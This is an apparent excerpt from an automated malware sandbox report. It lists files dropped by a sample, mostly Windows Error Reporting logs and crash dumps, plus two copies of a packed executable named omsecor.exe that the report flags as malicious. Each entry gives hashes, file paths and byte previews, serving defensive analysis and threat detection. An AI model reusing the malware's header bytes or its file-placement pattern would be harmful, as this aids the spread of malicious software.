Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.1.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1849.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	4.46871130383936
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZkJg77aI9ZuWpW8VYtYm8M4JqaqF18x+q85gXT7Vld:uIjfUI7PP7VtJfaaqKT7Vld
MD5:	4EE572B4D721952EEC18CA97D69C229D
SHA1:	DFC8EE3E3709F321CA731F1FBE0DB08735848400
SHA-256:	72626D641F8FAFC94D21201665F450EF2CAB04C9144D9E8ECDB88D90EE98BE33
SHA-512:	F859F0502DD7800E485E2C9F6DD4F3A6D82F2009679CC9FC16DA7DF54186DEEA2E0A45B4829D35D6E016642636B7B4046356542B8DBE9CC43A394F5758B4BC86
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618252" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D27.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 5 17:09:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34068
Entropy (8bit):	2.0064273589642734
Encrypted:	false
SSDEEP:	96:5V8+pYpFvE+y+oihw4TeL00GSI1jt2i73C3VIFgP/xjOiiTS2exsfqIMSrdR6wry:8+yIjg//2OGPpS/S2pxdR50yLNfRU
MD5:	CAE2AD10B221E4FCDD4BACA0E9CB0D86
SHA1:	3C84466CEFB5EC7115B8A0CB032B11026CED1E5E
SHA-256:	33D121E8BA747D215562B0216594C39AD2537ABFE4C597CE67599075671E3C45
SHA-512:	DCC65CC8170E797AD48F108F0AE7248376FBB5DA9FA6132E457A687CB2E0C2B3A2D5DEF94C246A0C6286CA15F9CC4C8CDEB54550A51F2C3FA22ADCD6A0E20C69
Malicious:	false
Preview:	MDMP..a..... .......<.Qg........................X...............Z...........T.......8...........T...............$y......................................................................................................eJ......x.......GenuineIntel............T.......p...;.Qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E8F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8312
Entropy (8bit):	3.698631883261777
Encrypted:	false
SSDEEP:	192:R6l7wVeJNMh6NN6YNvSUBRgmfX4u6pr189bJxsf0AFDm:R6lXJ6h6n6YlSUBRgmfX4utJqfQ
MD5:	6223873DE036A592F4A739334EA21F7F
SHA1:	A00CD06C2F54A32067E684D13CFFA0917D21DED1
SHA-256:	0C864FBA11CC671F591332C93E8306E31B5EACC7973237DF593AA63B5B84BB26
SHA-512:	F8AEE7C13077D1D7C670ED3B41F85D7D9C1B570A9D2EE9E65ECD38D03DD27A2E7D6AA94BBD0100C5115AA07D2B3B6C45325DAC7D64E59FD3628DD1F0DD89A794
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F3C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4663
Entropy (8bit):	4.473035251656683
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZ1Jg77aI9ZuWpW8VYFYm8M4JoaqFMP+q86g1GTFHWd:uIjftI7PP7VBJJ7PrOGTFHWd
MD5:	095057EFDE8D4F6FB72250D550230127
SHA1:	A9D9161DCE9695D9D731E1CC714BDEE59CD03B3F
SHA-256:	B69F136BC21DF1CD188B04E8071D099F936806462451D995B021D8FBE051EFD2
SHA-512:	46D5DCCED3C19BCB37E0CD76B5BD7AE72C12607BFE0FCF6355FFFFA84390BAB206D66D76DC448BA1772C9CB988F4ED95A8E70F3416124F67BCFA7EDE1551D31B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618251" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F4A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 5 17:09:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34062
Entropy (8bit):	2.0140100065722737
Encrypted:	false
SSDEEP:	96:5E8XaOwyCyQgKcF9R0xyVBUi73O3xE3PgWdt+GdrMRjReCp00zgLEQrgWIkWItIW:tFRK9MUOn4Wf+G1MbeCoLvU1AxeeyiV
MD5:	00D618251435742CD191915D966BFFCC
SHA1:	C2D252DCC93FFEEC519D57597DB855820A7207D8
SHA-256:	8E3A6F593C0B571E25DEB789405D2BD7B50D6BC344A3DCD6096FF5966C720900
SHA-512:	9D853A526C9136C35B73B80DAFFB405662D0703C71E547223D1C169424E1417EB028D43C2BF51930BA89A59D3AF6E0B4848E9509174465B2A9EBD9A49131018A
Malicious:	false
Preview:	MDMP..a..... .......=.Qg........................X...............T...........T.......8...........T................y......................................................................................................eJ......x.......GenuineIntel............T...........<.Qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5219.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8240
Entropy (8bit):	3.693030622239775
Encrypted:	false
SSDEEP:	192:R6l7wVeJRN6P6YTD6CgmfV4u6prZ89bOqsfZ4am:R6lXJ76P6Y36CgmfV4u5OJfZk
MD5:	2D05211D3AC21540DE98F6B47A0053E6
SHA1:	C9FEF9558EF538A9939B01E83055E761112380BC
SHA-256:	090C872755DEAC4646BBAFF5877E99E431437C04F96BD5184C7925123199C11F
SHA-512:	9935CC73716F105A704ACE4D6A43BAC1737493B53DA39D2F15AC012B0DE906D34EA64FEB2E8DE18CCDD96290693F9BCB86A94BD09007049C10A6260014C33F10
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5259.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	4.466000007255134
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZ1Jg77aI9ZuWpW8VYvYm8M4J9aqFBU+q8QgqAT7vKd:uIjftI7PP7VfJ0+U3+T7vKd
MD5:	4BE4CD31848E9FF2C41FD41E84DF6B44
SHA1:	189CB891C1AF3A10FE8638783F4E86763AE84FF1
SHA-256:	019EA4FBBCB6C5816CF7536AB596D165805C9FC785630872411B81915335F3F4
SHA-512:	14B626BB53830BE6AA9AF70BA309741046CC91DBC49A7C861079B33C514AA91456CA6B16D84EF46515794F792736457AE33985731A103F0CB1A15FAFA6BB1356
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618251" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD638.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 5 17:10:58 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33646
Entropy (8bit):	2.0093032600406406
Encrypted:	false
SSDEEP:	96:5b8jQWEMJSU+TTMHCUdEmKgUi7DW3NID3llPRS6eL1woq7sxIw9EESy9lnLEwrom:CFbOCC0UO31xRSJxdqcSanLvhcflQmE
MD5:	60A914B23999FEC63F46F66260BF8775
SHA1:	9A05D360661DFCCB351B2E42C20CB45181C33459
SHA-256:	2BB0A9E4BC344731FCF21A95BA9419AF3F3D8BEE36F5D06D5F861C9D6ABA5C98
SHA-512:	9CA85794926BC5C36E051BD2CC004017ED2F3F93A26627F47DA447FBA8129123A4EE0D1B328C1146DACCCD9710D719AE05414ED739FA4E864791C5CBA96F6D4E
Malicious:	false
Preview:	MDMP..a..... .........Qg....................................................T.......8...........T................x......................t...............................................................................eJ..............GenuineIntel............T.............Qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD696.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6280
Entropy (8bit):	3.7176047442631237
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbk86sYy4x0QE/vv+5aM4Ut89bPiGsfHPF9Qm:R6l7wVeJk86sYy4u6prt89baGsfHPFem
MD5:	D23C9AFC661494229A12E14AF0600BE7
SHA1:	BC5728D4E28A9D3E48AEA4390CFD3B96AA9FBEF0
SHA-256:	A0FD37CB915E6FE1F01420AD54660D9FFDCC7B1E2614B1B4E3C7B48366E3C1FC
SHA-512:	7B2F36CABDDD045A44654A937D4692449214AD04DAD5597AE2C2C6FDFE7ACA037CABBF18A9AD5EA136BBB1B892F181591F8F34859C6965D81920879CF0DDD19D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6D6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	4.467607127820123
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZTJg77aI9ZuWpW8VYJYm8M4JqaqFbRR+q8dgZr3Ty2Q7d:uIjfPI7PP7VNJfuRqgr3TXQ7d
MD5:	3557525D78415BDA9D074046651F5F19
SHA1:	822C4FA673F3BB18043EFCA3E44A1D9E06352DC7
SHA-256:	3FB2D411673B1909DFF07897274578507FCF850F027808D8A7A807B8552BC13C
SHA-512:	2DD7B92822307920F410CABE06B294EBF13CD6BB5FCDD4ABE6C5DB12EE1143975E43AC548510E9C25215C69AF1CCB12B50D7D170F559BC38DD7EC1A73298674E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618253" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD86A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 5 17:10:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33646
Entropy (8bit):	2.003934772264745
Encrypted:	false
SSDEEP:	192:blCCm1UOWJisCdLlLKSit93qGJ2WnSxk6:lG2CplLKN93B2WSH
MD5:	1662551753AA4FBF8CCA921AA99DDEC6
SHA1:	7A0BD1C0E10A08EF35E335272B3BAD6607FC8242
SHA-256:	6FB367FCA5320A1F4306511FC6F218A0B41A395AE45C6462F31CCF470CF7A704
SHA-512:	D2540307D9E181F3B5F2C9D49830AB512DDDC0F5E06F776227E7F90E419741A138648F5A6DD0CAD12AA8E4A80AC5CA0CAB261F85A17531BF6FDCEC71D9565997
Malicious:	false
Preview:	MDMP..a..... .........Qg....................................................T.......8...........T................x......................t...............................................................................eJ..............GenuineIntel............T.............Qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8D9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8240
Entropy (8bit):	3.6915008095433524
Encrypted:	false
SSDEEP:	192:R6l7wVeJpj1666Yve6YgmfV4u6prl89bj1sf2hm:R6lXJ91666YW6YgmfV4u9jOfh
MD5:	F657AC0EB7FCE737FF2431ED50B92C50
SHA1:	5CA300860D611CE36AAF05C1DF7312C1972D1224
SHA-256:	9D5BB72DE7236A5ED285EB31F170E81FE2245065B25406E138215406893E541E
SHA-512:	22082C54608E159AA663C3B191C27703BFC909366ED3D0AB2010D28D735E5F9EDA3923748B18DFDBCE8776299C756814ED48C6F3AB3C8724899979FB41841027
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD908.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	4.468279794774689
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZTJg77aI9ZuWpW8VYQYm8M4JVaqFf+q8Yg2T7KDwMjd:uIjfPI7PP7VoJcAP7T7KLjd
MD5:	D5476DFA2D2E4D3F53CF80DFAED2F2B5
SHA1:	D0A0FD4C9F53AE84D96AF1B296CA1E57B343F7CD
SHA-256:	0821F79771B64C3FC57B531CD7F1730B30FCB3DE4D0836502955DB355069586F
SHA-512:	6564C03A3F11E3784D579EDFCBE4C417E541FC26531CB3D23DF84245255C4A5F582C4BB692258DFAE7EEB712D9415C048E759902DCCCB6219DC1788F4FCC4DFC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618253" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Roaming\omsecor.exe

Download File

Process:	C:\Users\user\Desktop\fmlgbgc2p5.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	98330
Entropy (8bit):	7.9596512885560085
Encrypted:	false
SSDEEP:	1536:snAHcBbLmdvduLd8IDiaP/8A68YaiIv2RwEYqlwi+BzdAeV9b5ADbyxxq:sGs8cd8eXlYairZYqMddH13q
MD5:	50E482AEFE2A49BBCB4AAEE1B8C70305
SHA1:	10BCE9FBE4CF53152A0CC551A077C50D3F2500BE
SHA-256:	8348D70C59B9EBE0DC19E35CDB4176E5825BD691BD1DC1EA6A0FE8EAAB0A5384
SHA-512:	E1F609BBD66C06830A47F075E8D17EECDB0D6E816CB451E7F88EB00982D8E7B6955FA52EB6BFC7DD11A57EC798646EF9A8B17EA350FDD91CC791FCA5FFFA1E4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L.../s.P.................p........................@..........................0................... ................................... ..............................................................................<................................MPRESS1.........h.......................MPRESS2.............j...................rsrc........ .......x..............@..............................................................................v2.19 ..g.....E..`.Y.....A.f.7bw. <..k,/...".gD(.t.2...0.!A..J.W.6.W.%h1(............j..U...S.....A..y..& a..h!b.....+h.pV..h..9......X<.K1...^[.D.&...l..p/..\ .{...L..}....).;3l.:33.v..5.sH.....[r&.I......l...[..>.m....<......x...1.q..}.&...R~.rz1..5k.....A...jc..a.6.......r@...n7D/k...(3..?J.a.JK...f....Q.....Lk..z.V...J....Z6...D.o........O....v{...8e....'....W?6}.......8.....CX....9.H..o.h6.y...Z..z!..E#.(..5.....l.h.Y....j t...t._=..&...@y..`.7..^].#no<:4.!

C:\Windows\SysWOW64\omsecor.exe

Download File

Process:	C:\Users\user\AppData\Roaming\omsecor.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	98330
Entropy (8bit):	7.959652331914838
Encrypted:	false
SSDEEP:	1536:rnAHcBbLmdvduLd8IDiaP/8A68YaiIv2RwEYqlwi+BzdAeV9b5ADbyxxq:rGs8cd8eXlYairZYqMddH13q
MD5:	75B0F2A9AD432A0DBC138A050D744956
SHA1:	22D02018102A34D608F7A7B567B0B059DD03931E
SHA-256:	805C565C436AA64C736BA52D4C1F4B8CB4CE573C76A3774B97FCD6CAC9618039
SHA-512:	F4A02400B44ED5C5058F46AFA70905962B83CA5E02C92105313381B9ADF6B091F7E612FB15ABA0994DF41F38BCFE5CD6138F34C7C8FF17AF35EC292C48215701
Malicious:	true
